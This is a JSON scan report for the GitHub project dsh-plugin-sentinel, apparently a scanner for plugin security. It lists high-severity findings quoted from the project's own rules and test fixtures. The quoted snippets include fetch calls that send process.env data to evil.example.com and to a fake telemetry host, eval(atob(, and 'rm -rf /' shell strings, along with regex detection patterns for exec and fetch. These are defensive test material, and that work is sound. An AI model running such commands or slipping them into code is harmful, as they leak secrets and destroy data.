{"digest":"c1c4b47540d547fc15b16c2b05d3889d99522f8bbdadd9b8ea1a12d2f4272be5","maintenance":{"namespace":"BotonJ","project":"dsh-plugin-sentinel","provider":"github","revision":"3dcff7a125d7151f2b75a8962c65425d0d9aa0b8"},"passport":{"compatibility":{"dynamicImportVerified":false,"method":"declaration-only"},"dependencies":{"dev":{},"optional":{},"peer":{},"runtime":{}},"dsh":{"bundle":{"exists":true,"patch":"cordis.patch.yml"}},"findings":[{"category":"code","evidence":[{"column":44,"file":"src/rules.js","line":48,"snippet":"title: 'Dynamic code execution (eval / new Function)',"}],"message":"Source contains dynamic code execution (eval, new Function, or node:vm).","remediation":"Replace dynamic evaluation with explicit, static code paths.","ruleId":"DSH-CODE-001","severity":"high","title":"Dynamic code execution"},{"category":"code","evidence":[{"column":9,"file":"test/fixtures/comment-fp/index.js","line":6,"snippet":"*   - \"eval(\" in this comment is not a call"}],"message":"Source contains dynamic code execution (eval, new Function, or node:vm).","remediation":"Replace dynamic evaluation with explicit, static code paths.","ruleId":"DSH-CODE-001","severity":"high","title":"Dynamic code execution"},{"category":"code","evidence":[{"column":16,"file":"test/fixtures/obfuscated/index.js","line":5,"snippet":"const init = eval(atob("}],"message":"Source contains dynamic code execution (eval, new Function, or node:vm).","remediation":"Replace dynamic evaluation with explicit, static code paths.","ruleId":"DSH-CODE-001","severity":"high","title":"Dynamic code execution"},{"category":"code","evidence":[{"column":8,"file":"test/scanner.test.js","line":21,"snippet":"// eval('rm -rf /') and child_process.exec('x') are documented here"}],"message":"Source contains dynamic code execution (eval, new Function, or node:vm).","remediation":"Replace dynamic evaluation with explicit, static code paths.","ruleId":"DSH-CODE-001","severity":"high","title":"Dynamic code execution"},{"category":"code","evidence":[{"column":20,"file":"src/rules.js","line":40,"snippet":"pattern: /\\b(?:child_process\\s*\\.\\s*)?(?:execSync|spawnSync|execFileSync|execFile|exec|spawn)\\s*\\(/,"}],"message":"Source invokes child processes or a shell.","remediation":"Avoid spawning processes from plugin code.","ruleId":"DSH-CODE-002","severity":"high","title":"Process execution"},{"category":"code","evidence":[{"column":16,"file":"test/audit.test.js","line":69,"snippet":"test('shell-rm：child_process 执行 = block（无网络则不触发外传组合）', async () => {"}],"message":"Source invokes child processes or a shell.","remediation":"Avoid spawning processes from plugin code.","ruleId":"DSH-CODE-002","severity":"high","title":"Process execution"},{"category":"code","evidence":[{"column":9,"file":"test/fixtures/comment-fp/index.js","line":7,"snippet":"*   - \"child_process.exec('rm -rf /')\" in a comment is not a call"}],"message":"Source invokes child processes or a shell.","remediation":"Avoid spawning processes from plugin code.","ruleId":"DSH-CODE-002","severity":"high","title":"Process execution"},{"category":"code","evidence":[{"column":27,"file":"test/fixtures/shell-rm/index.js","line":1,"snippet":"import { execSync } from 'node:child_process'"}],"message":"Source invokes child processes or a shell.","remediation":"Avoid spawning processes from plugin code.","ruleId":"DSH-CODE-002","severity":"high","title":"Process execution"},{"category":"code","evidence":[{"column":31,"file":"test/scanner.test.js","line":87,"snippet":"import { execSync } from 'node:child_process'"}],"message":"Source invokes child processes or a shell.","remediation":"Avoid spawning processes from plugin code.","ruleId":"DSH-CODE-002","severity":"high","title":"Process execution"},{"category":"code","evidence":[{"column":10,"file":"src/audit.js","line":333,"snippet":"return process.env.DSH_HOME ? path.resolve(process.env.DSH_HOME) : path.join(os.homedir(), '.dsh')"}],"message":"Source reads environment variables or references credential material.","remediation":"Do not read secrets or environment state from plugin code.","ruleId":"DSH-CODE-003","severity":"high","title":"Environment or credential access"},{"category":"code","evidence":[{"column":101,"file":"src/rules.js","line":79,"snippet":"'The plugin can talk to the outside world. Legitimate for web-search tools, but combined with secret reads (see EXFIL c…"}],"message":"Source reads environment variables or references credential material.","remediation":"Do not read secrets or environment state from plugin code.","ruleId":"DSH-CODE-003","severity":"high","title":"Environment or credential access"},{"category":"code","evidence":[{"column":46,"file":"test/audit.test.js","line":35,"snippet":"assert.ok(!ids.has('STR-SENSITIVE-PATH'), 'process.env.HOME inside a string must not look like the .env file')"}],"message":"Source reads environment variables or references credential material.","remediation":"Do not read secrets or environment state from plugin code.","ruleId":"DSH-CODE-003","severity":"high","title":"Environment or credential access"},{"category":"code","evidence":[{"column":50,"file":"test/fixtures/comment-fp/index.js","line":18,"snippet":"\"fetch('http://evil.example.com/steal?keys=' + process.env.HOME)\","}],"message":"Source reads environment variables or references credential material.","remediation":"Do not read secrets or environment state from plugin code.","ruleId":"DSH-CODE-003","severity":"high","title":"Environment or credential access"},{"category":"code","evidence":[{"column":8,"file":"test/fixtures/exfil-skin/scripts/telemetry.js","line":8,"snippet":"env: process.env,"}],"message":"Source reads environment variables or references credential material.","remediation":"Do not read secrets or environment state from plugin code.","ruleId":"DSH-CODE-003","severity":"high","title":"Environment or credential access"},{"category":"code","evidence":[{"column":57,"file":"test/index.test.js","line":18,"snippet":"const execStub = { signal: undefined, agent: undefined, token: 'test' }"}],"message":"Source reads environment variables or references credential material.","remediation":"Do not read secrets or environment state from plugin code.","ruleId":"DSH-CODE-003","severity":"high","title":"Environment or credential access"},{"category":"code","evidence":[{"column":51,"file":"test/scanner.test.js","line":35,"snippet":"\"fetch('http://evil.example.com/steal?k=' + process.env.KEY)\","}],"message":"Source reads environment variables or references credential material.","remediation":"Do not read secrets or environment state from plugin code.","ruleId":"DSH-CODE-003","severity":"high","title":"Environment or credential access"},{"category":"code","evidence":[{"column":93,"file":"src/rules.js","line":86,"snippet":"pattern: /\\bfetch\\s*\\(|\\b(?:https?|net|tls)\\s*\\.\\s*(?:request|get|connect)\\s*\\(|\\bnew\\s+WebSocket\\s*\\(|\\bXMLHttpRequest…"}],"message":"Source performs network I/O.","remediation":"Avoid outbound network calls from plugin code.","ruleId":"DSH-CODE-004","severity":"high","title":"Network access"},{"category":"code","evidence":[{"column":62,"file":"test/audit.test.js","line":158,"snippet":"{ name: 'package/scripts/collect.js', data: Buffer.from('fetch(\"http://x.example.com\", { body: JSON.stringify(process.e…"}],"message":"Source performs network I/O.","remediation":"Avoid outbound network calls from plugin code.","ruleId":"DSH-CODE-004","severity":"high","title":"Network access"},{"category":"code","evidence":[{"column":20,"file":"test/fixtures/comment-fp/index.js","line":8,"snippet":"*   - the string \"fetch('http://evil.example.com')\" below is never fetched"}],"message":"Source performs network I/O.","remediation":"Avoid outbound network calls from plugin code.","ruleId":"DSH-CODE-004","severity":"high","title":"Network access"},{"category":"code","evidence":[{"column":1,"file":"test/fixtures/exfil-skin/scripts/telemetry.js","line":12,"snippet":"fetch('http://metrics.whale-stats.example.com/collect', {"}],"message":"Source performs network I/O.","remediation":"Avoid outbound network calls from plugin code.","ruleId":"DSH-CODE-004","severity":"high","title":"Network access"},{"category":"code","evidence":[{"column":8,"file":"test/scanner.test.js","line":22,"snippet":"/* fetch('http://evil.example.com') */"}],"message":"Source performs network I/O.","remediation":"Avoid outbound network calls from plugin code.","ruleId":"DSH-CODE-004","severity":"high","title":"Network access"}],"sbom":{"bomFormat":"CycloneDX","components":[],"dependencies":[{"dependsOn":[],"ref":"pkg:npm/dsh-plugin-sentinel@0.1.0"}],"metadata":{"component":{"name":"dsh-plugin-sentinel","purl":"pkg:npm/dsh-plugin-sentinel@0.1.0","type":"application","version":"0.1.0"}},"specVersion":"1.6","version":1},"schemaVersion":"1.0.0","scripts":{},"subject":{"digest":"c1c4b47540d547fc15b16c2b05d3889d99522f8bbdadd9b8ea1a12d2f4272be5","kind":"github","name":"dsh-plugin-sentinel","resolved":"github:BotonJ/dsh-plugin-sentinel#3dcff7a125d7151f2b75a8962c65425d0d9aa0b8","source":"github:BotonJ/dsh-plugin-sentinel#3dcff7a125d7151f2b75a8962c65425d0d9aa0b8","version":"0.1.0"},"verdict":{"status":"review"}},"resolved":"github:BotonJ/dsh-plugin-sentinel#3dcff7a125d7151f2b75a8962c65425d0d9aa0b8","slug":"dsh-plugin-sentinel","source":"github:BotonJ/dsh-plugin-sentinel#3dcff7a125d7151f2b75a8962c65425d0d9aa0b8","status":"candidate","testedDshVersions":[]}